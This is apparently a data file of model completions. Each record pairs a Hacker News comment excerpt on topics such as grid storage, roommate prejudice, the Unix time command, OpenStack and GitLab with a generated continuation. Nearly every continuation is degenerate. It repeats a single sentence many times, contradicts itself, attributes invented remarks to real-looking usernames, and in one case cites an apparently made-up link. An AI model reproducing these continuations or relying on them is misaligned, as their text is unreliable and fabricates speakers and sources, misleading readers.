"-capability-\npan-capability-pan-capability-pan-capability-pan-capability-pan-capability-pan-\ncapability-pan-capability-pan-capability-pan-capability-pan-capability-pan-\ncapability-pan-capability-pan-capability-pan-capability-pan-capability-pan-\ncapability-pan-capability-pan-capability-pan-", "input_text": "downright nasty.\n\n~~~\nnick_kline\nNo, it's different with windows. Linux doesn't have constant forced patches\nfrom the mothership that kill your system. It can happen but it's much rarer.\nWindows used to be better of course (back when i worked there, even though I\ndidn't work on that part ;-)). It's staggering how bad windows maintenance is\nnow.\n\n~~~\nintpx\nHave you met my friend Ubunto 20.04?\n\n~~~\nnick_kline\ntouche\n\n------\nUI_at_80x24\nAnybody else reminded of the dot-com era popular item (fad?): The SCOTTeVEST\n\n(googling shows they are still around).\n\nPower cables (although i don't think the original actually had cables, it did\nhave channels for the cables to run through), data cables, multiple pockets. I\nwanted one until I saw the price tag.\n\n~~~\nrangibaby\nTo me it looks like it belongs on the \u201cLand Warrior\u201d (remember that?)\n\n~~~\nmoftz\nAll that Land Warrior tech is pretty much available now in the form of a small\nPAN that includes a radio, android tablet, and headset. Additional sensors\nlike cameras can hook into the radio to give live video to a command center.\nThe radio battery can run everything or the soldier can wear a larger battery.\nEverything hooks up through what is basically a USB hub combined with an\nethernet switch.\n\nHere is an example of a setup: [https://cdn.glenair.com/star-pan/img/star-pan-\nvi-capability-...](https://cdn.glenair.com/star-pan/img/star-pan-vi"} +{"output_text": " crazy.\n\n~~~\nm0skit0\nI think it's a good thing that they are now planning to replace it with\nrenewables.\n\n------\nm0skit0\nI think the most important thing is to have a good grid. I think the most\nimportant thing is to have a good grid.\n\n~~~\nm0skit0\nI think the most important thing is to have a good grid.\n\n------\nm0skit", "input_text": "\nis gonna be useful.\n\n~~~\ngiarc\nAnother crazy one is simply pushing a big heavy train up a hill. Then when you\nneed power just letting it go back down the hill.\n\n[https://www.wired.com/2016/05/forget-elons-batteries-fix-\ngri...](https://www.wired.com/2016/05/forget-elons-batteries-fix-grid-rock-\nfilled-train-hill/)\n\n~~~\n_Microft\nI one-up that with [https://heindl-energy.com/technical-\nconcept/](https://heindl-energy.com/technical-concept/) (city for scale?;)\n\n------\nnoneeeed\nFor anyone interested in power useage and supply patterns you should check out\n[https://gridwatch.co.uk/](https://gridwatch.co.uk/)\n\nIt shows UK power use and generation in realtime, and over various time\nperiods. There is still plenty of room for more renewables, and it shows how\nsolar is actually pretty good in the uk, it generates during the main peak\nperiod in the day.\n\n~~~\ntoomuchtodo\nWorldwide mostly realtime data:\n[https://www.electricitymap.org/?wind=false&solar=false&page=...](https://www.electricitymap.org/?wind=false&solar=false&page=map)\n\n~~~\nm0skit0\nI think France vs Germany in this map is a nice argument in the nuclear vs\n\"renewables\" discussion\n\n~~~\nnoneeeed\nGermany's sudden shift from nuclear without a plan for what to replace it with\nwas just so"} +{"output_text": "\n\n~~~\njbooth\nI think you're missing the point.\n\nThe point is that the author is saying that the \"racist\" viewpoint is\ncompatible with the \"this is compatible with racism\" viewpoint.\n\nThe author is saying that the \"racist\" viewpoint is compatible with the\n\"this is compatible with racism\" viewpoint.\n\nThe author is saying that the \"racist\" viewpoint is compatible with the\n\"this is compatible with racism\" viewpoint", "input_text": " policy.\n\nShit, we have a black president, a female secretary of state and speaker of\nthe house, numerous high-level officials and corporate execs and prominent\nministers, etc. who are openly gay, a soon-to-be Latina supreme court justice,\netc. Times have most definitely changed, and the changes run deep.\n\n------\nbyrneseyeview\nBefore you get too excited, keep in mind that this would also be true in a\nworld in which racists are correct. That's still a world in which college\ngraduates would generally have college graduate roommates, people who wanted\nto live in hip neighborhoods would have roommates who wanted the same, and\npeople who liked to get wasted and listen to loud music would live with folks\nwho had the same tastes.\n\nIt's easy to imagine this applying to age. If an 18-year-old and a 40-year-old\nshare an apartment, it's probably because the 18-year-old is willing to be\nquiet after 10 PM, not smoke pot in the house, etc. Or because the 40-year-old\nis tolerant of late night noise and weed. However, the 18- or 40-year-old\ndoesn't see it that way; to him, that 22-year age difference has surprisingly\nlittle impact on behavior.\n\n _However_, the this-is-compatible-with-racism viewpoint can be disproven by\neither a) assigning people random roommates (no, not _random roommates who all\ngot roughly the same SAT scores, want to live in the same state, etc._ ), or\nb) seeing if there's a selection process that affects whether people pick\nroommates of one ethnicity based on how closely they stereotypically match the\nbehaviors of another."} +{"output_text": "\nif they were not bad.\n\n~~~\njedberg\nI think the point is that they are not bad, but they are not good either.\n\nI think the point is that you can't just say \"diversity\" and expect it to\nhappen. You have to do a lot of work to make it happen.\n\n~~~\niheatu\nI think the point is that you can't just say \"diversity\" and expect it to\nhapp", "input_text": ". This explicitly considers all colleges the\nsame.\n\nEvery point in the post is an actual suggestion made on how to improve\ndiversity. Obviously not all the suggestions have been implemented, but I'm\nafraid the committee for improving hiring might do just that.\n\n~~~\nubernostrum\nIt's awfully easy to make technically-true but misrepresentative statements\nabout this stuff, though.\n\nFor example, someone might argue that actively seeking out recent graduates of\ncoding bootcamps when hiring for junior positions will help find a more\ndiverse set of candidates. And there's truth here: bootcamps tend to have\nbetter gender and somewhat-better racial balance than university CS\ndepartments or existing tech shops, and bootcamp graduates on average seem to\nbe pretty good (there are selection and maturity and self-motivation effects\nthere which raise quality compared to the typical randomly-chosen bunch os\nCVs).\n\nBut it's technically correct, so long as you don't mind completely misleading\nconnotations, to describe that approach as \"to eliminate racism and sexism,\nhire people who don't have CS degrees and don't have industry experience\" and\nimply it's \"lowering the bar\".\n\nAnd anecdotally, when people make claims like the ones in the OP article, my\nexperience is that it's almost always the case that someone is carefully\nchoosing how they describe things in order to be technically truthful while\nmaliciously misrepresenting the situation in a way that suits their personal\naxe-grinding.\n\n------\niheatu\nI'm not sure who diversity trainers are but some of their suggestions are just\nridiculous and un-inventive. They are bad enough that they might be\npurposefully sabotaging the process. No one would implement these suggestion"} +{"output_text": ": \n\n------\njamesjyu\nI'm not sure if this is a good idea. I'm not sure if it's a good idea to\nrelease a library that is not open source.\n\n~~~\nS4M\nI don't think it's a good idea to release a library that is not open source.\n\n~~~\njamesjyu\nI agree. I'm just saying that it's not", "input_text": "dkarl\n_For a minority group, Asian-Americans can be surprisingly racist._\n\nEspecially against each other. Nothing like telling your Korean friend how\nmuch you enjoy visiting Japan and watching Miyazaki and Juzo Itami's movies to\nstir up some good old-fashioned hatred. \"They raped my grandmother. They're\nnot human. They don't have souls.\" And then you have to pretend to like Oldboy\nto calm them down.\n\n~~~\nnostrademons\nAgainst themselves too. My friend started a FaceBook group called \"Ambivalent\nAsians - for all the self-hating Orientals out there\". (He is half-Chinese and\nhalf-Japanese, so perhaps he just got both heapings of racism mixed up in the\nsame person...)\n\n------\ncarterschonwald\nI think an important caveat is that if you're stuck with bad roommates,\ntolerance of anything related to those roommates will decrease\n\n------\nlionhearted\nTaking lovers from other places and ethnic groups takes prejudices way down\ntoo. Lying in bed together, half delirious, you can talk about all those\nthings that are taboo to bring up about in polite conversation. That way, you\nactually learn more about a culture's unique traits and idiosyncrasies where\nmost people would be embarrassed to ask about those things to someone they\nknow more casually.\n\n------\namichail\nPerhaps a good way to reduce prejudice is to always exchange resumes when\nmeeting people for the first time -- even in non-work related contexts?\n\n \nLInQer \u2013 C# Integrated Queries ported to Javascript - Siderite\nhttps://github.com/Siderite/LInQer\n======\nskrowl\nMore info here"} +{"output_text": "other_ hand, I\nthink that the fact that the prefix notation is used in Shakespearean English\nis evidence that it is easier to use than the postfix notation.\n\n~~~\njamesbritt\n_I think my friend who studies Spanish told me that they say the equivalent of\n\"I her it gave\" (meaning \"I gave it to her\"), and I think I remember\nShakespearean English using postfix....Looking at the text of Romeo and Juliet,", "input_text": " that the notation was 2+3, not (+ 2 3).\nThat's why any other notation feels \"unnatural\".\n\nI do wonder if it would be possible to teach kids prefix notation instead, and\nwhether such notation would seem completely natural to them. (I suspect the\nanswer to both is yes.)\n\n~~~\nwaterhouse\nThat is an interesting question. I see one possible argument (whose\ncorrectness I don't know enough to judge, I'm just making it up) why infix is\nmore natural than prefix: A kid will start by seeing an object, and only once\nyou have an object does it make sense to combine it (by addition or whatever)\nwith another object. Also, note that a certain amount of English syntax is\ninfix: \"I went to the store\", not \"Went to I the store\".\n\n...However, I think that in some other languages, _postfix_ notation is\ncommon. I think my friend who studies Spanish told me that they say the\nequivalent of \"I her it gave\" (meaning \"I gave it to her\"), and I think I\nremember Shakespearean English using postfix....Looking at the text of Romeo\nand Juliet, I see both prefix and postfix.\n\n \n \n Prefix: \"O, where is Romeo? saw you him to-day?\"\n Postfix: \"The which if you with patient ears attend\"\n \n\nOn the one hand, we could say that, since these plays were apparently rather\nsuccessful, people obviously didn't have too much trouble understanding them.\nOn the other hand, since this sort of strange permutation has been mostly\ndropped from common usage (so that I recognize it as strange), that may be\nevidence that these things are just harder to use. On the _"} +{"output_text": "\nof subscribing to Netflix.\n\n~~~\njedberg\nI think the problem is that Netflix has a lot of great films, but they are\nall in the same genre.\n\nI'm a huge fan of the \"classic\" films, but I don't want to watch them all\nagain.\n\n~~~\nMediterraneo10\nI think the problem is that Netflix has a lot of great films, but they are\nall in the same genre.", "input_text": ".session()\n # now use session like you would requests\n session.get(\"http://httpbin.org/cookies/set/name/value\")\n print(session.get(\"http://httpbin.org/cookies\").content)\n\n~~~\ncatwind7\noh I need to try that - I had this feeling that there was a more stateful\nversion but for..... some reason... reaching for a new dependency felt\neasier at the time haha. Thanks\n\n------\ngabrielsroka\nSee also \"Where to Find Roger Ebert\u2019s Great Movies Streaming\" [0] which has US\nlistings for Netflix, Amazon Prime, Hulu, Disney Plus, Criterion Channel,\nKanopy, HBO, Starz, and Showtime as of March 2020.\n\n[0] [https://www.rogerebert.com/features/where-to-find-roger-\neber...](https://www.rogerebert.com/features/where-to-find-roger-eberts-great-\nmovies-streaming)\n\n------\njyriand\nI guess this list of movies applies to people who live in US. Available movies\ndiffer substantially between countries. With Netflix it's easy, it doesn't\neven show the movie you can't watch, with Amazon you have to click through\nevery movie you are interested in to see the screen that says that this movie\nis not available in your region. There are even series where only one or two\nepisodes are unavailable.\n\n------\nMediterraneo10\nIt is the fact that we have a relatively agreed-upon canon of great films\n(with immense re-watch value over the years) that keeps me torrenting instead"} +{"output_text": " others.\n\nI'm not sure what the author is talking about. I don't think I ever had to\ndeal with a \"cloud\" provider. I just had to deal with a bunch of servers.\n\n~~~\nyeukhon\nI think the author is talking about the cloud provider.\n\nI think the author is talking about the cloud provider as a service.\n\nI think the author is talking about the cloud provider as a platform.\n\nI think the author", "input_text": " tell them how to invest their infrastructure dollars?\nQuite possibly no, because software development and infrastructure are\ntypically held at arms length. But even when they are not in a \"proper\" DevOps\nshop, the ballgame of which cloud is then subservient to developer convenience\nand how easy it is to deploy software to a cloud and how productive developers\nare writing software for that cloud.\n\nSo yes, the purpose of OpenStack and Container technologies are very different\nand I appreciate that technically. In terms of real world value to me as a\nsoftware developer, however, I have platform problems not infrastructure\nproblems. I don't care what the infrastructure is under the service so long as\nit provides a stable, reliable platform for me to build upon. Containers\nabstract that for me in a way that solves real platform problems that\nOpenStack was only ever relevant to me in so far as its ability to once hint\nat a possible solution to. That's not fair and that was expecting too much\nfrom OpenStack at the time, but that's life.\n\n~~~\nyeukhon\nOkay, I was reading it as defending why container would solve what OpenStack\nwas set out to solve, which is the proposition I read from the OP I was\nreplying to.\n\nOf course, I would advise against running a private cloud unless there is a\ndedicated team of at least a dozen or so. I applaud Digital Ocean for able to\nsurvive and make good business from their private cloud. As a developer I\ntotally agree I just want my code to be deployed and that all the appendices\nare deployed and configured.\n\n------\nkordless\nI ran an OpenStack cluster in my house for a few years. The deployment was\nmanaged by a bunch of scripts which I wrote and published to help"} +{"output_text": ". I've been through it.\n\n------\nmatt_the_bass\nI\u2019m in Tokyo and have been through this. I\u2019m not a lawyer but I\u2019ve been\nthrough this before.\n\n------\nmatt_the_bass\nI\u2019m in Tokyo and have been through this. I\u2019m not a lawyer but I\u2019ve been\nthrough this before.\n\n------\nmatt_the_bass\nI\u2019m", "input_text": "ai\nSlack channel: [https://hnkansai-slack.now.sh/](https://hnkansai-\nslack.now.sh/)\n\nLots of entrepreneurs and developers in there :)\n\n------\nmproud\nDo you follow any Gaijin programmers or entrepreneurs who live in Japan?\n\nYou should try contacting the guy at Kalzumeus Software\n([https://www.kalzumeus.com](https://www.kalzumeus.com)).\n\n------\nguytv\nPlease call: 03 5774 0992. Its a hotline that can offer some relief.\n\n------\ngaspoweredcat\nwhat is the focus of your business?\n\n~~~\ngiancarlostoro\nThis is one of the more important questions. You need a vision for your\ncompany aside from \"be my own boss\" something to build or look forward to. Are\nyou wanting to do consulting or do software contracts? Or some sort of product\n/ type of products maybe?\n\n------\nBakary\nThere's something oddly uplifting about all the responses in this thread put\ntogether that I haven't experienced in a long time.\n\n------\nadamgoodapp\nMaybe try running the company with a partner if possible. Can help you share\nthe burden and have some one to go through the experience together.\n\n------\naround_here\nMate, there are things you can do. Hop on the Tokyo slack, come have a chat in\nthe #advice channel.\n\n------\nvnjp\ni am foreigner started a small company in Tokyo in 2014. i dont have many\npapers to fill in except annual tax report. what kind of papers do you need to\nsubmit?\n\n------\ngnadx\nYou can get through this"} +{"output_text": " is a good demonstration of the difference between time and time.\n\n------\njcoffland\nI think the author is confusing time with time.time.\n\n~~~\njimrandomh\nI think the author is confusing time with time.time.\n\n------\njimrandomh\nI think the author is confusing time with time.time.\n\n------\njimrandomh\nI think the author is confusing time with time.time.\n\n------\n", "input_text": " SAT\nscore by knowing their family income, or that you can predict their family\nincome by knowing their SAT score.\n\n------\nsnambi\nMy father used to tell me this \"Provide education for free to those who really\nwant it and deserve it. If not provide it only those who can pay for it\".\n\nMy father was a professor in India, where college education is free. All state\nfunded colleges are free and most of them are easy to get into. But most of\nthe students are not interested in learning, they come to college for time\npass. So, free education should be given to only those who deserve.\n\n \n/usr/bin/time: not the command you think you know - activatedgeek\nhttps://hackernoon.com/usr-bin-time-not-the-command-you-think-you-know-34ac03e55cc3\n======\njimrandomh\nThe reason 'time' is a builtin is because it can time a complete shell\npipeline, not just a single command. If you type\n\n \n \n time foo |bar\n \n\nThen the result is the total time taken by foo and bar together. This requires\nit to have special-case syntax. Whereas\n\n \n \n /usr/bin/time foo |bar\n \n\nWould run foo and give its time statistics as input to bar.\n\n~~~\njcoffland\nRun these commands for a better demonstration:\n\n \n \n time echo | sleep 1\n \n\nvs.\n\n \n \n /usr/bin/time echo | sleep 1\n \n\nThe former times the entire pipeline whereas the later only times the first\ncommand in the pipe.\n\n~~~\nfnord123\nThis"} +{"output_text": " code is downloaded.\n\nThat's not true. The app is downloaded, and then it's executed in a\nsandboxed environment.\n\n~~~\nalgesten\nI'm not sure what you mean by \"executed in a sandboxed environment\".\n\nThe app is downloaded, and then it's executed in a sandboxed environment.\n\nThe app is downloaded, and then it's executed in a sandboxed environment.\n\nThe app is downloaded,", "input_text": " and\npractices. Rollout notes both on their FAQ site and in a longer blog post that\ntheir process is in compliance.\n\n[https://www.fireeye.com/blog/threat-\nresearch/2016/04/rollout...](https://www.fireeye.com/blog/threat-\nresearch/2016/04/rollout_or_not_the.html)\n\n~~~\nobstinate\nA ton of games do this and it is incredibly annoying. I don't want to download\nan update, then have to download an update. I only wish the same restriction\napplied to my Android device.\n\n~~~\njustinhj\nMost likely most games are updating only game related data and graphics files.\nVery few games actually use internal scripting that would be needed to do code\nupdates\n\n~~~\nAngostura\nThe only app I've got that appears to actually update itself without going\nthrough the AppStore is the HSBC mobile banking app. I'd be interested in\nhearing the discussions going on between Apple and HSBC at the moment.\n\n~~~\nalgesten\nJudging by how sluggish and annoying the HSBC app is, I think it is a web app\nframed in a thin launcher from the app store.\n\nI.e. it downloads a bunch of javascript/html/css and that executes within a\nUIWebView/WKWebView. Using caching and localStorage, you can construct such an\napp to not need to download everything on each launch.\n\nThe reason that's allowed is because everything executes within a sandboxed\nbrowser environment. No native code is downloaded.\n\n~~~\nmikeash\n> The reason that's allowed is because everything executes within a sandboxed\n> browser environment. No native"} +{"output_text": " the infrastructure details than OpenStack\never did.\n\n~~~\njlgaddis\n> _I can tell it frustrates infrastructure folks to hear that containers have\n> been eating OpenStack 's lunch, but that is the very real case from the\n> developer perspective._\n\nI'm not sure I agree with that. I think that OpenStack is still relevant to\nmany people, but it's not the only game in town.\n\nI'm a developer who uses", "input_text": "\nin the OpenStack efforts: as a developer OpenStack doesn't directly interest\nme because I don't care about infrastructure. Where OpenStack had a\npossibility to win was to provide options for infrastructure agnosticism: if I\ncan build an app that runs \"unmodified\" on any OpenStack-based infrastructure,\nthat has a possibility to save me potential time and money from having to port\napps to/from/between AWS, Azure, Google Cloud, et al (assuming of course that\nit enough clouds actually adopt).\n\nFrom that perspective, container solutions _are_ delivering a better developer\nproposition than OpenStack has yet managed. There are ways now to build\ncontainer clusters that you can ship in parallel to AWS and Azure with very\nlittle code difference.\n\nIn that earlier discussion I was skeptical of OpenStack precisely because of\nits focus on infrastructure first. Without the buy in of being a clone for a\nspecific cloud structure (AWS compatibility over anything else, for instance)\nor the backing of traditional datacenter/server vendors (IBM who eventually\nstarted into BlueMix; Microsoft whose \"on premises Azure\" is now firing on\nmost cylinders but was announced as a plan early in OpenStack's history),\nOpenStack didn't seem to have an obvious niche in the infrastructure world.\nThe closest to a niche it might have had in its early life was the promise of\napplication portability between clouds and that never quite seemed to be\ndelivered.\n\nI can tell it frustrates infrastructure folks to hear that containers have\nbeen eating OpenStack's lunch, but that is the very real case from the\ndeveloper perspective. As a developer today, I go for containers and OpenStack\nis no longer relevant on my radar. Sure I can run containers on OpenStack, but\ncontainers abstract away more of"} +{"output_text": ".\n\nI think the real problem is that the parents generation is a bunch of\nconformists, and they're not going to change. They're not going to change\nbecause they're not going to change. They're not going to change because they\ndon't want to change. They're not going to change because they're afraid of\nchange. They're not going to change because they're afraid of change. They're\nnot going to change because they're afraid of change", "input_text": " explaining a product in as few words as possible\nso the people who want what you're selling stay for more, but for some reason,\nthe same effect in hiring is overlooked.\n\nIf you want future jobs that carry the kind of responsibilities that a VP of\nEngineering, for instance, would typically handle, those jobs will be easier\nto get if that title's already on your resume. Forcing people to accept the\ntitle of \"Irreverence Engineer\" is forcing them to leave money on the table,\nand it's not a necessary feature of a culture that deemphasizes hierarchy.\n\n~~~\npw0ncakes\nQuestion: at a startup without titles, what do you think of fashioning one's\nown, within certain ethical limits?\n\nIt's obviously wrong to take the CEO title if you weren't the CEO (he or she\nmight take it personally) or CFO if your job had nothing to do with finance,\nbut I think a certain amount of leniency is allowed.\n\n~~~\n_delirium\nThe biggest practical downside I can think of is if in checking references,\nyour former boss gets called and has a reaction of, \"John Doe, Senior Foobar?\nI don't think we even _had_ a Foobar\". So might be worth running it by whoever\nit is from the company you'd be likely to put down as a reference. I've met\nfounders who are perfectly fine vouching for any reasonable title the employee\nwants to pick, though.\n\n------\nmkramlich\nThe OA article comes off a bit like a bunch of teenagers complaining how their\nparents generation are a bunch of conformists so they're going to rebel by all\ndoing their hair different. And then the teenagers all do their hair in\nexactly the same \"different\" way"} +{"output_text": " person at the top\nbenefits from the protests.\n\n~~~\nCM30\nI'm not sure what you're trying to say here.\n\nThe mob is not being used by anyone. The mob is being used by the people\ntrying to get the mob to do their dirty work.\n\nThe students protesting are being used by the people trying to get the\nstudents to do their dirty work.\n\nThe people at the top are being used by the people trying", "input_text": "\nreminds me of the Twitter phenomenon in which people learned that the only way\nto get customer service from Google/Ubisoft/Bank of America/(insert giant\nfaceless company) was to tweet a grievance publicly. It seems to work well, at\nleast in a few high-profile cases. At least, it worked a few times when\nprivate requests failed. Perhaps people are learning by example?\n\nThe old-fashioned (\"culture of honor/dignity\"?) style of one-on-one\nnegotiation is often futile when you are dealing with a company.\n\n~~~\nCM30\nWell yes, they're learning by example. People are getting fired or ostracised\nby mobs on sites like Twitter based on things like this. It's an unfortunate\npattern where instead of countering arguments or having a debate, a lot of\npeople (especially in these SJW groups) tend to try and destroy someone's\nlivelihood instead.\n\nAnd because a lot of companies seem to care more about their'reputation' then\nany sort of principles, you end up in a situation where people are too scared\nto talk out in case a social media mob destroys their life.\n\n~~~\nthelastguy\nIt's the classic witch hunt mob.\n\nGirl A: I like apples. Girl B: I don't like what you're saying. Hey everybody,\nshe's a witch!\n\nMob deals out punishment.\n\nYou can clearly see that the mob is being played, being used like a pawn, by\nGirl B. The mob doesn't actually benefit form this. Girl B benefits from this\nbecause she got rid of her competitor.\n\nThe same way those students protesting are being used by the person at the\ntop. The students don't actually benefits. Meanwhile, the"} +{"output_text": " this study show that\nvivid memories for events that people no longer believe happened to them are\ncommon, and that they are not the result of confabulation or wishful\nthinking. The results also show that vivid memories for events that people no\nlonger believe happened to them are not the result of a failure of memory\nretention, but rather of a failure of belief. The results are discussed in the\ncontext of the dual-process model of memory and the dual-process", "input_text": "otten everything (for about half an hour) - the feeling (but no\ninformation) of self-identity remained perfectly intact but I was afraid to\nleave the bar as I had no idea of where do I live and how do I get there.\n\n------\nyboris\nA related book: \"Strangers to Ourselves\" by Timothy D. Wilson\n[http://www.hup.harvard.edu/catalog.php?isbn=9780674013827](http://www.hup.harvard.edu/catalog.php?isbn=9780674013827)\nExcellent book with excellent advice about how to proceed.\n\n------\nthrowayw32\nThis has been dealt to death in Dharmic philosophies; I'm surprised there is\nzero attribution to this anywhere in this article. This is not the first such\ninstance though; I have to wonder why standard academic ethics is not followed\nwith anything concerning Indic traditions.\n\n~~~\nbitexploder\nI often find modern psychology heavily resembles ancient life philosophies.\nFor example, CBT (Cognitive Behavioral Therapy) is, effectively, applied\nStoicism. If you were to explain CBT to an ancient stoic they would just nod\nand agree, understanding the approach intimately.\n\n------\netiam\n_Mazzoni G, Scoboria A, Harvey L. (2010) Nonbelieved memories.\n\nAbstract: This is the first empirical study of vivid autobiographical memories\nfor events that people no longer believe happened to them. Until now, this\nphenomenon has been the object of relatively rare, albeit intriguing,\nanecdotes, such as Jean Piaget's description of his vivid memory of an\nattempted abduction that never happened. The results of"} +{"output_text": "\nIt's not a thing on my Arch Linux install either.\n\n------\njlgaddis\nI've been using \"time\" for years and years. I've never had to use \"time -v\"\nbefore.\n\n------\njlgaddis\nI've been using \"time\" for years and years. I've never had to use \"time -v\"\nbefore.\n\n------\njlgaddis\nI've been using \"time\" for", "input_text": "\nbin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin\nsrv sys tmp usr var\n\n0.00user 0.00system 0:00.00elapsed 0%CPU (0avgtext+0avgdata 2304maxresident)k\n\n0inputs+0outputs (0major+109minor)pagefaults 0swaps\n\nEdit: formatting\n\n~~~\nkevinoid\nSometimes. It depends whether you have the time[1] package installed.\n\n1\\.\n[https://packages.debian.org/sid/time](https://packages.debian.org/sid/time)\n\n------\n7171u\nI had to use \"\\--verbose\" instead of \"-l\" in my RHEL7\n\n \n \n \\time --verbose echo\n\n~~~\naij\nI bet you're using GNU time rather than BSD time.\n\nIt did seem odd to me that the author didn't bother to mention which OS he is\nusing, though from the hostname I have a pretty good guess.\n\n------\nbrendangregg\nNo, /usr/bin/time is indeed what I know, and its extended stats is why I\nsuggested using it in my last perf book (time -v).\n\n\"/usr/bin/time: not the command you think you know\" -> \"/usr/bin/time: may not\nbe the command you think you know\"\n\nThere, I fixed the title.\n\n~~~\nan_account\n/r/iamverysmart\n\n------\nd4l3k\n/usr/bin/time doesn't seem to be a thing on my Arch Linux install. \u00af\\\\_(\u30c4)_/\u00af\n\n~~~\nfbernier"} +{"output_text": "jo\nPolitics is a very broad term. It can be anything from being a good friend of\nthe boss to being a good friend of the boss' wife.\n\n~~~\nkinleyd\nI'm not sure I agree with that. I think it's a very broad term that can be\napplied to a lot of different things.\n\n------\njondubois\nI think the problem is that the scientific community is not very good at\ndistinguishing between good", "input_text": "As far as whether drug trials are influenced by industry sponsorship, I think\nthe answer is a resounding yes[0], though others might disagree. But if we are\ntalking about hidden industry sponsorship, we erode trust and generate\nquestionable results.\n\n[0]\n[https://jamanetwork.com/journals/jama/fullarticle/196846](https://jamanetwork.com/journals/jama/fullarticle/196846)\n\n------\npdevr\nList of publications by Baselga:\n[https://www.documentcloud.org/documents/4840569-Baselga-\nArti...](https://www.documentcloud.org/documents/4840569-Baselga-Article-\nList.html)\n\n~~~\njondubois\nIt's surprising how many authors all of these papers have. It makes it\ndifficult to allocate credit.\n\nNot saying this is the case here, but I'm sure that if someone was very\nstrategic about it, they could get their names in a lot of high quality papers\nwithout having to do much work.\n\nIn fact, I think that people who focus more on the political aspect of their\ncareers tend to be more successful than people who actually do the innovative\nwork.\n\n~~~\nmaxxxxx\n\"In fact, I think that people who focus more on the political aspect of their\ncareers tend to be more successful than people who actually do the useful\nresearch work.\"\n\nThat's unfortunately the case also outside research. You can have a very good\ncareer if you only focus on politics and nothing else.\n\n~~~\nkinleyd\nHow much of the successful 'politics' would you say is actually sycophancy?\n\n~~~\nekian"} +{"output_text": "'t\nexpect them to be identical.\n\n[0] [https://zachholman.com/2012/08/gitlab-ui-\ndesign/](https://zachholman.com/2012/08/gitlab-ui-design/)\n\n~~~\njoshuamorton\n> Gitlab's CI/CD stuff is a great example of this contrast. GitHub left it to\n> Travis and other CI providers, which makes both GitHub and those providers", "input_text": " stagnated, and stagnated some more. And gitlab went past the\n> initial copying and started innovating and adding more features.\n\nAs an industry, we have a unhealthy obsession with change for change's sake.\nIf we aren't redesigning everything, adding new features, or moving cheese all\nthe time, we aren't innovating.\n\nBut this the opposite of how we should think. If the GitHub repos page, for\ninstance, just works, then we don't need to keep changing it. Zach Holman made\na point, way back in 2012, that they intentionally hide UI features to\npreserve simplicity and trust in their design. [0]\n\nThe thing I get the most from Gitlab's UI is this overwhelming sense of desire\nto add every feature, expose every option, and make it as utilitarian as\npossible. In doing so, though, Gitlab trades off approachability. To some this\nis a great thing, but to others, it's just on the edge of too much. If there's\nanything I want Gitlab to copy from GitHub, it's the opinionated decision\nmaking of what to show and when to show it.\n\nGitlab's CI/CD stuff is a great example of this contrast. GitHub left it to\nTravis and other CI providers, which makes both GitHub and those providers\nhave time to excel at what they're good at. They made the trade off deciding\nthat they couldn't pull it off as well as others, so they delegated it and\nmoved on. Gitlab took the opposite approach and built it in. While it adds\nvalue for some users, it can and (at least in my opinion) does over complicate\nthe core feature set they offer.\n\nIt's okay to have two products with different approaches, but I wouldn"} +{"output_text": " wind and solar? What are we _not_ building if we are building nuclear\npower? What are we _not_ building if we are building hydro?\n\n~~~\nbeat\nI'm not saying cost doesn't matter. I'm saying that the cost of energy storage\nis not a \"known quantity\". It's a known quantity, but it's not a known\nquantity.\n\nIt's not a known quantity because it's not a known quantity. It's a known\n", "input_text": " to ensure a return on investment. Now they\u2019re building wind\nand solar farms with agreements for 15 years or less -- with the expectation\nthat projects will compete against gas- and coal-fired plants in wholesale\nmarkets after the deals conclude.\"_\n\nThis may just be speculating that governments will be issuing all kinds of\npremiums on fossil technologies instead of directly subsidizing renewables,\nwhich is far more likely than actually switching to renewables.\n\n~~~\nbeat\nStoring energy isn't exactly magical. Humans built the first dam nearly 3000\nyears ago. It's simply a matter of cost, and that's a combination of situation\nand experience. Batteries, hydro, compressed air, thermal, gravity... all of\nthese things work, and are known quantities.\n\nIt doesn't take a breakthrough in technology to say \"If we build a tank for\ncompressed air that is volume X, to pressure Y, it can store energy Z; and\nthermal losses for conversion in and out are A, and it costs B to build\". This\nis completely ordinary engineering.\n\n~~~\ngridlockd\n> It's simply a matter of cost, and that's a combination of situation and\n> experience. Batteries, hydro, compressed air, thermal, gravity... all of\n> these things work, and are known quantities.\n\n _Everything_ is a matter of cost. If cost didn't matter, we could just suck\nup all the CO2 from the air. That technology already exists too, and it's a\n\"known quantity\". The problem is, cost _does_ matter and there is such a thing\nas \"prohibitively expensive\", especially if we're looking at countries that\naren't as wealthy.\n\nFurthermore, relative costs matter. What are we _not_ building if we are\nbuilding"} +{"output_text": " will work for me, but I'm hopeful.\n\n~~~\njoshu\nI've been using Beeminder for a while. I think it's a great tool, but I\nhaven't found it to be a great motivator.\n\nI think it's because I'm not a very good \"obliger\". I'm a \"self-starter\".\n\nI think I'd be more motivated by a commitment contract that forces me to\ncommit to a specific action", "input_text": ". I've probably tried the vast majority of the motivation 'hacks'\nrecommended by the other posters in this thread with varying amounts of\nsuccess and failure.\n\nThe #1 thing I think that anyone in this situation, or any self-improvement\nchallenging situation, should do is to understand themselves fully - what\nmakes you tick, what do you like, dislike, etc.? Beware: this is not a\n5-minute task; we could be talking years here. Once you feel like you have a\nhandle on it, or along the way, try out different approaches. (As much as I\nlove the word 'hack', I really shouldn't call them that because you could very\nwell be using it indefinitely.)\n\n\\--- For me personally, one thing that I've never truly tried is a commitment\ncontract. I've long known about services like Beeminder and StickK, but I\nnever actually fully tried one (where you commit with real money). That\nchanged recently when I discovered a framework for classifying people called\nThe Four Tendencies by Gretchen Rubin.\n\nFolks like us mostly fall into the category of \"Obligers\", people who meet\nouter expectations, but struggle to meet expectations they impose on\nthemselves. And one way to beat that is to create parameters (like a\ncommitment contract) that force you into action.\n\nI recently (~6 weeks ago) created a goal on Beeminder and after falling off\nthe wagon tout-de-suite and having to pay up ($5 initially), I haven't\nderailed since (my current penalty is $10). I know, not an earth-shattering\namount of money, for some reason it's keeping me honest.\n\nIt's probably too early to tell if this"} +{"output_text": ". The\nstreets are too narrow, the lanes are too far apart, and the bike lanes are\ntoo few. The city is also in the middle of a huge bike share program, but\nthere's no way to get a bike from downtown to the beach.\n\nThe city is also in the middle of a huge bike share program, but there's no\nway to get a bike from downtown to the beach.\n\nThe city is also in the middle of a huge bike", "input_text": "still poorly lit, they still smell like shit, and they're not getting much\nuse. There's a huge trainyard east of downtown (one of the coolest parts of\nthe city, imo) called Piggyback Yard, which is owned by Union Pacific, who\ndoesn't want to sell the land. It'd be hard for the city to do any 